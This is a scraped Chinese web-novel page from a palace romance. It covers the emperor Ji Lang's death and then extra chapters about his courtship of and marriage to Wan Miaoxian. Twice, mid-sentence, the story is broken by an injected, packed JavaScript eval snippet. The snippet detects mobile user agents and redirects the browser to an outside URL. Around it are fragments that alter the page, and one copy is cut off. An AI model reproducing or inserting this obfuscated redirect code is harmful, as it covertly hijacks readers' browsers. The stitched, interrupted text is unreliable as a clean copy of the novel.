齐王姬宸也在混乱之中被乱箭射中,陨了性命,他的尸身被高挂于午门之上示众,亲眷尽数被诛灭。 唯独关于齐王的一个外室子,宜含和姬阆陷入纠纷,宜含一直进言让姬阆灭杀此人,但姬阆却并不以为意。 宜含无法,她又尝试劝了几句,但始终未能让姬阆转变心意。 此战之后,姬阆仿佛耗尽了所有心力,他的身体开始走下坡路了,也迷上了寻仙访道之事。 很多时候,除却军国大事,很多政务都交由了宜含代为打理,让宜含积累了一定的政治能力。 与之相对应的,宜含对后宫也就没有之前那样看重,她将很多事情都放权给了李玉娘,以及新宠裕妃等人。 期间,李玉娘再次诞下一位公主,裕妃、端嫔等新晋嫔妃先后生育了湘王、蜀王以及几个小公主。 然而,不过数年,姬阆却已经到了灯尽油枯的地步,他的乾清宫里死气沉沉的。 宜含别过随风飘起的帘布,她看着床榻上那个病恹恹的男人。 她爱了他半辈子,也恨了他半辈子了。临了,真到了他要走的这一天,宜含留下了两行清泪,心中也不知道自己究竟是爱,还是恨…… 宜含小心翼翼为姬阆掖了掖被子,这轻微的动作却惊醒了他。 “你来了啊……” 姬阆睁开眼,强打起精神来,有气无力地开口道。 宜含闻言,她跪坐在床边,轻声应道:“是,臣妾来了。万岁爷,您感觉如何?臣妾让人去熬了参汤,您喝一些罢。” 姬阆微微摇头,他的目光有些涣散,望着殿顶的藻井,仿佛在追忆往昔。 他伸出枯瘦的手,握住宜含的,冰凉的触感让宜含不由一颤。 “宜含……我知道……这些年,苦了你了。” 姬阆的声音虚弱,却带着一丝难得的温柔,“我知道,你怨我……怨我当年一昧的偏袒荣安皇后,没护好你,也没护好那个孩子……我也怨自己啊。妙贤去了,贞妃她们也去了……我这辈子,实在是欠你们的太多了。” 宜含的眼泪终于忍不住滑落,她摇摇头:“万岁爷,快别这么说。晟儿如今也大了,他聪慧过人,将来定能青出于蓝。” 姬阆笑了笑,那笑容中满是沧桑:“晟儿……是啊,他是我的希望。以后就要靠你教导他,好好辅佐他,我……我怕是撑不住了。齐王的余孽,你说得对,该斩草除根……可我心软,总想着留一线血脉。罢了,罢了,你去办吧,一切都听你的……” 宜含的心如刀绞,她俯身贴近姬阆,轻声道:“万岁爷,您放心,臣妾会处理好的。” 姬阆想抚一抚宜含的秀发,却发现自己没有力气,他笑了笑,目光格外郑重,“宜含……在我离去之前,想知道荣安皇后的真正死因……” 宜含愣了愣,她没想到姬阆会问这个问题,她沉默了,不知道该不该开口。 她眼中的泪水如决堤般涌出,紧紧握住姬阆的手,那双手已无昔日的温暖,只剩骨瘦如柴的冰凉。 她本想矢口否认,想编织一个谎言来安慰这个将死之人,可姬阆的眼神太过澄澈,太过疲惫,让她再也说不出半个字的欺瞒。 可姬阆却从宜含的脸上得到了答案,他蓦然叹了口气,“罢了……我都明白了……大周的江山,以后就交给你来扛了……” 说罢,姬阆的目光渐渐黯淡,他最后看了一眼宜含,那眼神中充满了无奈。 他的记忆回到数十年前,承平十八年,那是成庙在位的时候,选秀那日热闹非凡,各地进京的闺秀们都铆足了劲展示自己。 成庙自从有了齐王后,他那时的地位已经大不如从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590368|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,虽是名义上为他选妃,可他避开喧嚣,独自在御花园闲逛。 谁知竟看到一个身着浅碧罗裙的少女,胆大包天地爬上假山,只为追逐一只彩蝶。 少女的笑声清脆如铃,裙裾在风中飞扬。 姬阆本想提醒她小心,却见她脚下一滑,整个人向下坠落。他下意识冲上前,一把接住她柔软的身子。 少女惊魂未定,睁大眼睛看着他,那双眸子如秋水般明亮,带着一丝倔强和羞恼。 “你……你放开我!” 少女挣扎着从他怀中跳下,拍了拍裙子上的尘土,脸颊微微泛红。 姬阆笑了笑,拱手道:“姑娘可是选秀的淑女?爬那么高,不怕摔着?” 少女瞪了他一眼:“你管我呢,我就是喜欢那只蝶儿,它飞得高又如何,我只要爬的比它更高,它自然就是我的囊中之物了。” 姬阆一怔,这话直白得让他意外。 宫中女子多是温婉拘谨,哪有这般率性,他不由多看了她几眼:“姑娘贵姓?若不嫌弃,在下愿帮你捉那蝶儿。” 少女哼了一声,却没拒绝:“我叫万妙贤,不过……你行吗?” 就这样,两人一同追逐那只彩蝶,笑闹间,万妙贤的发髻散了,最后是姬阆帮她重新梳理。 她虽然嘴硬,心底却生出一丝暖意。 那是他们初遇的模样,纯真而无忧,无关权势,无关后宫的阴谋。 姬阆的嘴角微微上扬,却带着一丝苦涩。 妙贤啊,那时的你,多么活泼真率。可后来,为什么一切都变了?是我的错吗…… 姬阆喃喃自语,声音微弱得几乎听不见 就在这时,他的眼前出现了荣安皇后的身影,耳边响起了那道熟悉的声音:“殿下,咱们该回家了……” “妙……妙贤……” 话音刚落,姬阆的手无力地滑落,呼吸彻底停滞。 乾清宫内,一片死寂,只剩宜含的低泣声回荡,那个让她爱恨交织的男人,还是离开了…… 很快,丧钟缓缓敲响,嗡鸣的钟声在古老的宫殿中回响,跨越城墙,向东京城中扩散而去。 殿外的嫔妃跪地痛哭不已,李玉娘带着自己的一子二女跪在外边,她留下两行清泪,不知道是喜是悲。 大安十八年春,姬阆驾崩于乾清宫,享年四十四岁,谥号曰“纯”,庙号中宗。 同年,年仅八岁的姬晟被拥立为帝,改元昭平。 甄皇后荣升太后,进尊号慈圣,称慈圣皇太后。懿贵妃亦被奉为皇太后,称圣母皇太后。 两宫垂帘听政。 举行登基大典那日,宜含身着一袭明黄凤袍,李玉娘穿着紫色凤袍,两人一起牵着中间的姬晟,登临高位。 她们互视一眼,而后将目光向远处望去,那里是巍峨的宫墙之外,东京城的万家灯火,江山社稷的茫茫大地。 伴随着一道明黄色的纱帘落下,同时也拉开了属于她们时代的序幕…… (全文完) 33. 第 33 章 承平十八年,初春,迎春园里的桃梨开的正好,像是进了一片粉白的世界。 清风夹着桃梨的馨香,在树旁枝尾悠悠飘荡,人吸一口,整个心仿佛都醉了。 园子里三五成群的围满了妙龄少女,她们是入京备选的秀女。 去岁末,因皇储姬阆到了大婚的年纪。当今天子下诏,令礼部颁布禁婚令,从各府挑选适龄女子入京参选。 入京参选的秀女一共有五百廿一人,入宫前就淘汰了近四百余人。 负责主持选秀的是蒋贵妃,她已经过了四旬生辰。纵使岁月格外偏爱,可脸上仍是留下了岁月的痕迹。 今日,她身着湖绿色的宫装,端坐在迎春园正中的凉亭里,身后是两名宫女轻摇团扇,面前的案几上摆着厚厚一册名册。 在她的一旁,还坐着两名年龄相仿的美妇,分别是何贤妃和李顺妃。 蒋贵妃的凤眸微微眯起,目光如春水般从眼前一排排少女身上缓缓扫过。 那些女孩儿皆是十五六岁的年纪,个个花容月貌,脂粉未施却已自带三分娇羞。 “岁月催人老……看着这些花儿似的淑女们,倒教本宫想起才进宫的时候。” 蒋贵妃放下手里的名册,幽幽一叹道。 “我记得,贵妃进宫那会儿才十六岁罢?一晃都这么多年过去了。” 说话的是何贤妃。 蒋贵妃闻言,唇角微微一扬,那抹笑意却未及眼底。 她伸手拈起案几上的一片桃花瓣,在指尖轻轻揉碎,目光悠远地落向园中那一片粉白。 “十六岁.....是啊,本宫那年初入宫门时,也曾像她们一样,战战兢兢地站在御花园里,盼着万岁爷和宫里的娘娘们能多瞧我一眼。” 她声音舒缓,却带着一丝自嘲,“可本宫的二哥儿养到七岁时没了,连着几个姐儿也没养大……如今回想起来,倒还不如不进宫……” 坐在她右首的何贤妃沉默不语,孩子这个话题,在整个皇宫都很敏感。 她和蒋贵妃大差不差,早年虽生了三个哥儿,可一样没带大就夭折了。 和她们比起来,李顺妃与两人不遑多让。 说她幸运呢,儿子养到了成年,也娶了妻,可一场风寒就要了他的性命。 若说不幸,她儿子又给她生了个孙女,好歹是留下了血脉。 承平帝接连丧子,好容易养到成年的两个儿子也在前几年先后没了,又没留下男嗣。 迫于朝臣的压力,承平帝下诏令梁王嫡子姬阆入继为嗣,于宫中教养。 今年已经是姬阆入宫的第二年。 蒋贵妃收回目光,重新落在那册厚厚的名册上,她摆了摆手,声音里多了几分冷淡:“令人伤心的旧事不提也罢。今儿是给小爷挑正妃和侧妃的日子,咱们可不敢误了万岁爷的嘱托。” “贵妃说的是……宫里这些年空荡荡的,总得添些喜气才好。”何贤妃轻轻点头,目光却在园中那些少女身上多停留了片刻。 李顺妃抿了一口茶,慢条斯理地接口:“时候还早,且慢慢看罢。” 她话音未落,凉亭外忽然传来一阵轻柔的脚步声。 三妃同时抬头,只见一名身着道袍的青年缓步走来,正是皇储姬阆。 承平帝是崇道的,就连他本人也时常身着道袍。 姬阆生的眉目清朗,鼻梁高挺,一双凤眼却又带着几分与年纪不符的沉静。 在他的身后跟着两名内侍,手中捧着托盘,上面是新出炉的桃花酥和一罐酒香馥郁的梨花酿。 “见过三位妃母。”姬阆行礼,声音温润如玉,“父皇说选秀之事要劳烦三位妃母,特命儿子过来瞧瞧,也算尽一份孝心。” 青年谈吐文雅,谁见了一赞一句谦逊有礼。 蒋贵妃眼中闪过一丝复杂的情绪,面上却笑得端庄:“小爷来得正好,本宫正愁不知该如何选呢。既然小爷来了,不如就亲自过目,瞧瞧有没有喜欢的。” 她让身边的宫女将册子向姬阆递了过去。 姬阆微微颔首,目光自凉亭栏杆处投向园中,他只是匆匆瞥了一眼,就褪去视线。 他没有收册子,反而重新将它放置在蒋贵妃跟前,而后对着三妃躬身一拜,“父皇既将重任交给了三位妃母,必然是信任妃母们的,儿子不敢僭越,就有劳三位妃母替儿子做主了。” 说罢,他让人将带来的桃花酥和梨花酿放置在石桌上。 “这是儿子宫里新制的点心和酒酿,儿子吃着觉的甚好,是特意进献给三位妃母的。” 姬阆话音刚落,凉亭里便安静了片刻。 蒋贵妃看着眼前这个眉目清朗、举止得体的青年,眼底那抹复杂的情绪更深了几分。 她伸手接过宫女递来的名册,却没有立刻翻开,只是轻轻摩挲着封面,唇边勾起一抹意味深长的笑。 “小爷真是懂事。” 她声音柔和,却带着一丝不易察觉的试探,“这选正妃和侧妃的事,本该由你自己挑才好。万岁爷虽说让我们做主,可终究是你的终身大事。若是日后小爷心里有了不满意的,我们三人可担待不起。” 何贤妃也笑了笑,目光在姬阆身上转了一圈,她接过话:“是啊,小爷今年也十六了吧?那些小姑娘们跟花骨朵儿似的,你多瞧瞧,说不定就看中哪个了。” 唯独李顺妃没有开口,她只是静静抿了口茶,目光朝着那些淑女们望去,眼角微微有些发酸,似是想起了曾经为儿子选妃时的情景。 见姬阆不语,蒋贵妃这才又慢悠悠地补了一句:“小爷若是不想选,我们也不勉强。只是……终归是要陪你一辈子的人,选个自个儿喜欢的总是好些。” 姬阆闻言,眉眼低垂,声音依旧温润,却多了一分疏离:“蒋妃母言重了,儿子入宫蒙父皇与诸位妃母教养,已是天大的恩典。婚姻大事,本就该听从长辈安排,何况父皇既已将此事托付给三位妃母,儿子怎敢自作主张。” 他顿了顿,又看向园中那些三五成群、窃窃私语的少女们,语气平静得近乎冷淡: “再说,这些姑娘们……于儿子而言,都是一样的。” 最后一句话出口,凉亭里的气氛忽然就有些微妙。 蒋贵妃的指尖在名册上轻轻一顿,何贤妃的团扇停在了半空,李顺妃则抬眼看了他一眼,眸中闪过一丝玩味。 “小爷这话……倒是出乎意料。” 蒋贵妃轻笑一声,把名册重新推到他面前,“既如此,本宫也不为难你。这样吧,你随便指两个,我们再从剩下的人里挑出几个品貌俱佳的,一并呈给万岁爷定夺,如何?” 姬阆没有立刻回答,只是静静地看着那册厚厚的名册,凤眼里的沉静仿佛深不见底。 半晌,他才低声开口,声音轻得几乎被风吹散:“……那就劳烦蒋妃母随意选吧。儿子,只求她们……安分守己便好。” 说完,他再次躬身一礼,转身便欲离开凉亭。 身后,蒋贵妃忽然出声叫住他:“小爷且慢。” 姬阆脚步一顿,回过身来。 蒋贵妃盯着他的背影,声音忽然柔软了许多,却又带着一丝不容拒绝的意味:“桃花酥和梨花酿,本宫收下了。只是……小爷真的不打算多留一会儿,亲自看看这些姑娘吗?她们今日可是精心打扮了一番。” 园中,那些妙龄少女们似是察觉到凉亭这边的动静,不少人悄悄抬起头,目光带着羞怯与期待,偷偷朝这边张望。 粉白的桃梨花瓣随风飘落,像一场无声的雪。 姬阆站在栏杆边,背影修长而挺拔。 他没有回头,只是淡淡道:“儿子还有功课未完,就不打扰三位妃母了。” 说罢,他抬步离去,脚步不疾不徐,身后两名内侍连忙跟上。 凉亭里,三妃对视了一眼。 何贤妃叹了口气:“这孩子……性子真是越来越像先前的昭明太子了。” 昭明太子是承平帝发妻——嘉懿皇后所生的嫡子,太子自幼聪慧,深得帝后喜爱。 然而昭明太子十五岁时染病不幸亡故,帝后悲痛不已,嘉懿皇后大受打击下,次年升遐于坤宁宫。 自嘉懿皇后去后,承平帝不复立后。 李顺妃收回视线,她低叹了一声:“像昭明太子好啊,至少不会像有些人,贪花好色,惹出多少事端。” 她口中的那个人,是承平帝为数不多养到成年的儿子——定王。 前几年定王与缮国公家的老幺在外头吃花酒,为着一个花魁,跟人打了一架不说,最后还失足掉进河里淹死了。 蒋贵妃却没有说话,只是望着姬阆远去的背影,目光幽深。 她伸手拈起一块刚送来的桃花酥,轻轻咬了一口,酥脆的口感在唇齿间化开,带着淡淡的桃香。 “安分守己……”她喃喃重复着姬阆的话,唇角勾起一抹冷笑,“希望这些丫头真的能安分守己吧。” 风吹过迎春园,桃梨花瓣纷飞。 远处,那些少女们仍旧在低声议论着刚才那位气度不凡的皇储,眼中满是少女怀春的憧憬。 尽管以她们的距离,看的并不真切,但依然没有丝毫影响到她们的热情。 而凉亭里的三妃各自怀着不同的心思,开始低声商议起名册上的名字。 在靠近园外的地方,一阵桃花瓣被风卷起,轻轻飘落在一名站在最末尾的少女肩头。 那少女并未像旁人那般低眉顺眼,而是微微抬眸,目光清亮如秋水。 她穿着一身青色的衣裙,虽然不施粉黛,却在满园粉白中显得格外出尘。 她姓万,名妙贤。 据说,她这个名字还是表舅舅家在县城里念书的哥哥取的,很有来历。 她是江西南昌府人,家中也只是以务农为生,不过因是家里的幼女,父母倒格外偏爱她。 当日采风使见她好颜色,大笔一挥就圈了她的名字。 万妙贤不知道进宫是做甚么,只知道要是自己进宫被贵人选中了,父母就再也不用种地,哥哥也能娶上媳妇。 所以,她高高兴兴地就进了京。 万妙贤自小是野惯了的,尽管教习嬷嬷今儿一早千叮万嘱让她规矩些。可当她入了迎春园后,立即就如一匹脱缰的野马。 远离了人群后,万妙贤自顾在花丛中扑着彩蝶儿,追着几只彩蝶愈走愈远。 万妙贤看着两只异常美丽的蝴蝶停伫在假山的芳草上,她小心翼翼环顾左右后,见四下无人,三两下就爬了上去。 她屏住呼吸,缓缓靠近两只彩蝶,拿着帕子就要扑到它们时,她一个重心不稳,踩滑了脚,仰天向后摔去。 万妙贤惊呼一声,已经料想到自己会摔的很惨,回去后说不得还要被教习嬷嬷责罚。 就当她绝望地闭目后,万妙贤只觉身子一沉,整个人便跌进一个结实而温暖的胸膛里。 鼻尖撞上的是淡淡沉水香,混着清冽的竹叶清新,与园中浓郁的桃梨花香截然不同。 她惊魂未定地睁开眼,对上的是一双沉静如古井的凤眸。 那双眼睛的主人眉目清朗,鼻梁高挺,身着玄色道袍,腰间系着玉佩,袖口绣着极低调的云纹。正是方才在凉亭里与三位娘娘说话、随后独自离开的——皇储姬阆。 姬阆一只手臂稳稳托住她的腰,另一只手下意识地护在她后脑,避免她撞上假山石。 两人贴得极近,她甚至能感觉到他胸膛微微起伏的温度,以及那股从他身上散出的、比宫中任何男子都更干净的道家熏香。 万妙贤愣了足足三息,才猛地反应过来自己正被一个陌生男子抱在怀里。 “啊——!” 她低低惊呼一声,脸颊瞬间烧得通红,像熟透的桃子般,连耳尖都红了。 她手忙脚乱地想推开他,却因姿势尴尬,手掌正好抵在他胸口,只觉那处布料下是温热的、结实的肌理。 姬阆眉心微蹙,却没有立刻松手。他低声开口,声音温润却带着一丝不容置疑的淡漠:“别动。脚扭了吗?” 万妙贤这才察觉右脚踝一阵刺痛,方才滑倒时扭到了。 她咬着下唇,摇头又点头,声音细若蚊鸣:“没……没有……多谢公子……” 她话音未落,远处忽然传来内侍的惊呼:“小爷!” 两名内侍和几名教习嬷嬷匆匆赶来,见此情景皆是脸色大变。 嬷嬷们更是吓得魂飞魄散——这选秀的淑女,若是惊到了皇储殿下,那可是天大的祸事! “殿下,这丫头莽撞,冲撞了您,奴婢这就带她去领罚。” 一名嬷嬷快步上前,就要拉万妙贤。 姬阆却淡淡抬手,止住了众人动作。 他低头看了眼怀中这名穿着青裙、明显与旁人不同格格不入的少女,目光在她那双清亮得不像宫中人的眼眸上停了一瞬。 她不像其他秀女那样低眉顺眼、战战兢兢,反而带着一股野丫头似的活泼劲儿。方才追蝶时那股子天真烂漫,他远远便瞧见了。 “无妨。”他声音平静,“她不慎跌倒,我正好路过,顺手扶了一把。无事便好。” 说罢,他才缓缓松开手臂,将万妙贤稳稳扶正站好,自己后退半步,拉开距离,姿态端方得体得挑不出半点错处。 万妙贤脚踝吃痛,站立不稳,差点又歪倒。 姬阆伸手虚扶了她一把,却没有再碰她分毫,只低声道:“站稳些。园中石阶湿滑,下次莫要再爬高。” 他语气里没有责备,却带着一丝长辈似的淡漠教诲。 万妙贤抬头,撞进他那双凤眼里,忽然觉得这人……生的真好看,却又好冷。 她从小野惯了,虽不懂太多的宫规礼仪,当下还是老老实实福了福身,“多谢您的救命之恩,我下次不敢了……不知公子您是哪家的世子爷呀?长得真俊,比我们村子里来唱戏的戏子还要好看咧……” 此话一出,四周空气瞬间凝固。 嬷嬷们脸色煞白,内侍们低头不敢言语。 姬阆却微微一怔,唇角极浅地弯了弯——那是极轻极淡的一抹笑意,转瞬即逝,几乎让人以为是错觉。 他没有回答她的问题,只淡淡道:“回去吧。别让教习嬷嬷为难你。” 说完,他转身继续往前走,玄色道袍被风吹起一角,像一幅缓缓展开的水墨画。 万妙贤揉着脚踝,望着他修长的背影远去,忽然觉得心口像被什么轻轻撞了一下。 那双凤眼里的沉静,仿佛能把人整个吸进去,却又冷得让人不敢靠近。 她小声嘀咕:“真奇怪……明明救了我,却连名字都不肯说……” 一名嬷嬷赶紧扯住她,低声呵斥:“那是皇储殿下!小祖宗,你可别再胡说八道了!今日之事谁也不许外传,否则咱们都得掉脑袋!” 万妙贤眨眨眼,半晌才反应过来“皇储殿下”四个字的意思。 她顿时傻了眼。 方才……她被皇储殿下抱在怀里了? 而且还夸他长得比戏子俊? 完了完了,她不会被直接拉出去砍头吧! 可奇怪的是,那嬷嬷却只狠狠瞪了她一眼,便匆匆带她回队伍,并未立刻拉她去领罚。 反倒是凉亭方向,三位娘娘似是听到了动静,目光齐齐投来。 蒋贵妃远远望着这一幕,摩挲着名册的手指顿了顿,唇边勾起一抹意味深长的笑。 “有趣……这丫头,倒是个不一样的。” 何贤妃轻笑:“贵妃看中了?” “先记下名字再说。”蒋贵妃合上册子,凤眸微眯,“本宫瞧着倒有趣的紧。” 风过处,桃梨的花瓣纷纷扬扬。 远处,姬阆已走远,却在转角处微微侧首,目光似有若无地掠过那抹青色身影。 他的唇角再度极浅一弯,随即恢复那副云淡风轻的模样,步履不疾不徐地消失在园中曲径深处。 而万妙贤,却还傻傻地站在原地,脚踝隐隐作痛,心口却莫名其妙地跳得飞快。 她不知道,自己这一跤,已悄然将命运的丝线,缠上了那位看似无欲无求的皇储殿下。 过了端午,迎春园里的桃梨早已谢尽,只余满地落英被宫人扫去,换成了池中初开的莲花,碧叶田田,香风阵阵。 选秀之事终究尘埃落定。 承平帝听闻姬阆坚持只立一人,便顺水推舟,下诏册立江西南昌府淑女万妙贤为皇太子妃,其余秀女一律遣返,不再增置侧妃、良媛。 圣旨一下,满朝哗然,却无人敢谏——毕竟姬阆入继为嗣已两年,性子愈发沉静寡言。 那些未被选中的淑女们,哭哭啼啼地出了宫门。 有的抱着包袱低头拭泪,有的则在宫墙外放声大哭,怨自己命薄福浅。更有那家世稍好的,暗地里咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她跌进他怀里时,那双清亮的眼眸里没有算计,只有纯粹的惊慌与感激。夸他“比戏子还俊”时,那股子天真烂漫,像一股清风,吹散了宫中经年不散的陈腐之气。 远处,万妙贤所在的殿宇灯火隐约可见。他想起那日她傻站在原地、揉着脚踝的模样,心口莫名一软。 “妙贤……”他极低地念出这个名字,像是试探,又像是确认,“希望你……别让我失望才好。” 而偏殿里,万妙贤正被嬷嬷们围着试大婚的凤冠霞帔。 她看着镜中自己那张尚带稚气的脸,忽然想起那双救她于假山之上的凤眼。心口又是一跳,像那日一样,莫名其妙地快。 她小声嘀咕:“为何……为什么单单选了我?我又笨又野,一点都不像宫里那些端庄的贵人们……” 嬷嬷们闻言,忙笑着打圆场:“太子殿下慧眼识珠,贵主您的福缘深厚呢。” 万妙贤却只抿唇笑了笑,没再说话。 窗外,池里的莲花悄然绽放,一瓣瓣粉白,似极了那日迎春园的桃梨。 八月十五,东宫正式举行大婚。 万妙贤站在东宫正殿的玉阶上,头顶凤冠沉甸甸的,霞帔如云霞般披满肩头,绣着金丝凤凰与缠枝莲花。 她从小到大只在村里看过戏台上新娘子戴红盖头,哪里想过自己有一天会穿成这样,站在这金碧辉煌的殿宇前,等着那个……那个曾经抱过她的皇储殿下。 红烛高燃,喜乐声声。 宫人们低眉顺眼地跪了一地,嬷嬷们在旁轻声提醒她:“娘娘,记得待会儿殿下挑盖头时,千万要低着头,莫要直视。” 万妙贤抿唇,忍不住小声嘀咕:“我又不是没见过他……上次还被他抱了个满怀呢。” 嬷嬷们闻言,差点没吓得魂飞魄散。 汪嬷嬷赶紧拿帕子掩住她的嘴:“我的小祖宗,您可别再浑说了。今儿是吉日,殿下马上就到了。” 话音刚落,殿外传来内侍尖细的唱喏:“太子殿下驾到——” 玄色喜袍滚着金边,姬阆缓步踏入殿中。 今日他难得摘了道冠,只以玉冠束发,眉目间那股清冷被烛光映得柔和几分,却依旧如一幅不染尘埃的水墨画。 腰间那枚玉佩,正是当日救她时系着的同一枚。 他目光扫过殿内,最终落在她身上。万妙贤心口又是一跳,像那日在假山后一样,莫名其妙地快。 她偷偷从凤冠珠帘的缝隙里瞄他,只见他唇角极浅地弯了一下午和上次一模一样,转瞬即逝。 挑盖头的喜杖递到姬阆手中。 他接过,动作不疾不徐,挑起那层薄薄的红纱。 盖头落下那一瞬,万妙贤抬起眼,对上的正是那双沉静如古井的凤眸。 殿内喜乐声陡然高涨,宫人们齐声贺喜,可她耳中却只听得见自己心跳如鼓。 姬阆看着她,目光在她微红的脸颊上停了一瞬,声音低沉却带着一丝只有她能听出的温和:“妙贤。” 他第一次这样唤她名字,没有“姑娘”,没有“太子妃”,就只是“妙贤”。 万妙贤鼻子一酸,眼眶忽然就热了。 她从来是不怕天不怕地,可这一刻,竟觉得这宫里所有的规矩、所有的金玉,都抵不过他这一声唤。 “殿下……”她声音细细的,带着乡野的直白,“我……我真的不会做太子妃。我怕给您丢脸,也怕……怕您后悔选了我。” 四周宫人瞬间屏息,嬷嬷们恨不得把她拖下去。 可姬阆却像没听见旁人的惊慌,只微微俯身,与她平视。那双凤眼里,第一次没了淡漠的疏离,反而染上一抹极浅的笑意。 “后悔?”他低声重复,声音如竹叶拂过清泉,“那日在迎春园,你追蝶爬假山时,我就想……这宫里,总算来了个不一样的。” 他伸手,极轻地替她理了理鬓边滑落的一缕青丝,指尖擦过她耳廓,带起一丝酥麻。 “妙贤,你不必学那些端庄的规矩。宫里陈腐气太重,你若也变得一样,我才要失望。” 万妙贤愣住,眼泪啪嗒掉下来一颗,却笑得比窗外圆月还亮:“真的?那我以后还能去园子里扑蝴蝶吗?还能……还能偷偷爬假山?” 姬阆眉心微蹙,却忍不住又弯了唇角:“……假山就算了。但蝴蝶,你想扑便扑。只是下次若再摔,我可不一定每次都路过。” 他顿了顿,声音低得只有两人听见:“往后,我会一直在你身后。” 喜乐声中,两人交杯换盏,喝下那碗合卺酒。 酒液入喉,甜中带涩,像极了万妙贤此刻的心境——甜的是终于嫁给了救她、选她、懂她的这个人,涩的是这宫墙高深,她不知自己能否守住这份难得的天真。 夜深,东宫寝殿。 红帐低垂,烛影摇曳。 姬阆已换了常服,玄色里衣松松系着,露出锁骨一道浅浅的旧疤。 他坐在床沿,看着万妙贤被嬷嬷们扶着坐下,动作笨拙地想自己解凤冠,却怎么也解不开。 “过来。”他轻声唤。 万妙贤红着脸挪过去。 他修长的手指灵活地替她摘下沉重的凤冠,一枚一枚取下金凤步摇,最后只剩一头青丝披散肩头。 “殿下……”她声音软软的,“你……你今晚会留下来吗?” 姬阆动作一顿,凤眸低垂,看进她清亮的眼底。那里面没有算计,只有纯粹的紧张与期待,像极了当日跌进他怀里时的模样。 他忽然伸手,将她轻轻揽进怀里,下巴抵在她发顶,沉水香混着竹叶清新,将她整个裹住。 “当然……”他声音低哑,却带着从未有过的温柔,“从今往后,东宫的每一夜,我都会留下。” 万妙贤埋在他胸口,听着那稳健的心跳,忽然觉得脚踝当日扭伤的痛都烟消云散了。 她小声嘀咕:“那……那我以后还能叫你公子吗?太子殿下听起来好生疏……” 姬阆低笑出声,胸膛微微震动:“随你。叫公子也好,叫夫君也罢……只要是你,叫什么都好。” 窗外,明月高悬,莲池里荷香阵阵,花瓣随风轻舞,像极了迎春园那日的桃梨。 万妙贤闭上眼,唇角弯起一个傻乎乎的弧度。 她知道,这宫里像戏折子那样,有无数算计、无数风雨。 可只要有他在身后,她总算找到了能停下来歇脚的港湾。 而姬阆望着怀中这抹青丝,凤眸里的沉静终于化作一池春水。 他低头,在她额间落下一吻,轻得像羽毛。 “妙贤……我的太子妃。” 东宫的桃梨谢了又开,莲花败了又绽。唯独那段始于假山后的缘分,缠缠绕绕,愈发牢固。 34. 第 34 章 承平十九年,隆冬,经过一年的宫廷生活后,万妙贤习惯了这座寂寞、无趣的禁廷。 因为他们大婚一年还未有子嗣,外头的朝臣已经按耐不住了,让姬阆选立侧妃的折子如雪花般堆到承平帝的御案上。 这日,承平帝将姬阆请到乾清宫。 东暖阁内炭火熊熊,龙涎香袅袅,却压不住那股子沉沉的压抑。 承平帝靠在明黄靠枕上,眉心紧锁,手里捏着一本厚厚的奏折,声音带着几分疲惫与威严:“朕知道你的性子清冷,不喜繁杂。可如今你与太子妃大婚已满一年,东宫仍旧空空荡荡……朝臣们上折子催得紧,朕也不能一味压着。你看,蒋贵妃举荐的几位淑女,家世清白、品性端庄,不如挑一两个进东宫,也好早日为皇家开枝散叶。” 姬阆跪坐在下首,玄色常服一尘不染,腰间玉佩映着窗外飘落的雪花,依旧是那副云淡风轻的模样。 他垂眸,声音平静如古井无波:“父皇,儿子谢父皇关心。但侧妃之事,儿子不愿。” 承平帝眉头一挑,他拍了拍奏折:“不愿?你是储君,江山社稷在肩,岂能因一己之私误了大事?太子妃是你选的,她自个儿无能,你若再执拗下去,朝堂上那些老臣可要闹起来了。” 他是姬阆的养父,两人相处尚不满三载。再者,姬阆很是让人省心,像极了储君应有的风度。 因此,很多时候承平帝都不知道该如何和他相处。 姬阆抬眼,那双凤眸沉静得不见半点波澜,却带着一丝不容置疑的坚定:“父皇,儿女都是缘分,妙贤她……她……总之是儿子的儿女缘分还未到。东宫有她在,儿子并不寂寞。儿子不愿再添旁人,搅乱这份清净。” 乾清宫内瞬间安静得只剩炭火噼啪作响。 承平帝闻言,眉头锁得更紧了些,手指在奏折上叩了叩,半晌才发出一声低沉的叹息。 “罢了罢了……你这性子,倒是有几分随了嘉懿皇后了……” 姬阆叩首谢恩,起身时,承平帝又补了一句:“回去告诉太子妃,让她别总在园子里爬树祸害花草了。雪天路滑,摔了可不是小事。” 姬阆唇角又弯了弯,低声应是,转身退出暖阁。 雪花纷飞,东宫偏殿里,万妙贤正裹着狐裘披风,站在窗前发呆。 她身上已换了冬日宫装,杏色夹祆绣着细碎梅花,头上只插一支简单的玉钗。 汪嬷嬷在旁劝:“娘娘,殿下被陛下召去议事,您别担心。朝中那些事,自有殿下担着。” 万妙贤咬着下唇,小声嘀咕:“我……我听说那些老臣又逼着殿下选侧妃了。我这一年都没给万岁爷添个小皇孙,他们肯定在背后骂我是个祸水。” 她话音未落,殿门处传来熟悉的脚步声。 姬阆踏雪而来,玄色披风上落了薄薄一层白,眉眼间带着一丝风雪的清冽。 他一进门,便看见她那双清亮的眼眸里满是紧张,像只被雨淋湿的小兽。 “妙贤。”他低声唤,声音温润得能化开窗外的寒雪。 万妙贤立刻扑过去,顾不得宫规,双手揪住他衣襟:“殿下……父皇是不是又逼你了?你.....你别为了我委屈自己,我……我可以忍的.....” 姬阆伸手将她揽进怀里,下巴抵在她发顶,沉水香混着雪后的竹叶清新,将她整个裹住。 他低笑一声,胸膛微微震动:“傻丫头。我已经回绝了。父皇也应了我不纳侧妃了。” 万妙贤愣住,眼眶瞬间红了。 她埋在他胸口,声音闷闷的:“真的?” 姬阆眉心微蹙,却忍不住又弯了唇角,声音低哑:“以后……爬树这些就算了,你现在是大人了,可不能再小孩子心性了。若再扭脚,我可要罚你给我揉肩捶腿一整晚。” 